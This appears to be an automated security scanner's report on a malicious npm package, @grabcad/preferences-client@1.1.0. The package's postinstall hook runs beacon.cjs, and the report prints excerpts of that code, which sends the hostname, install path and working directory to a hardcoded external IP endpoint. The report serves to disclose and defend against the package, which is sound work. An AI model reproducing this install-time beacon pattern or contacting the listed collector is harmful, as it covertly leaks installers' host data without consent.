@grabcad/preferences-client@1.1.0
Compatibility shim.
AI Security Review
scanned 5h ago · by lpm-firewall-aiThe package performs automatic installation-time disclosure of host and project identifiers to a fixed external collector. This matches the installation beacon policy and supports blocking publication.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Installing the package runs its postinstall hook.
Impact
The collector receives identifying details about the host and package installation without installer consent established in the inspected source.
Mechanism
The hook runs beacon.cjs, which sends a POST containing the hostname, install path, working directory, and npm version to the hardcoded endpoint.
Attack narrative
On installation, the postinstall hook runs beacon.cjs, which sends the machine hostname, installation path, working directory, and npm version to a fixed external HTTP endpoint. The inspected source shows no consent gate for this disclosure.
AI rationale
The package performs automatic installation-time disclosure of host and project identifiers to a fixed external collector. This matches the installation beacon policy and supports blocking publication.
Evidence
package.jsonbeacon.cjs
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook automatically runs the beacon when the package is installed.
- The beacon sends a POST request to a fixed external HTTP endpoint.
- The payload includes the machine hostname, install path, working directory, and npm version.
- Running the beacon file directly calls the sending function.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.c
High
Suspicious Lifecycle Evidence
The postinstall hook automatically runs the beacon when the package is installed.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@grabcad/preferences-client";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @grabcad/preferences-client@1.1.0.
See all versions of @grabcad/preferences-client for other recorded verdicts.
- Avoid installing @grabcad/preferences-client@1.1.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.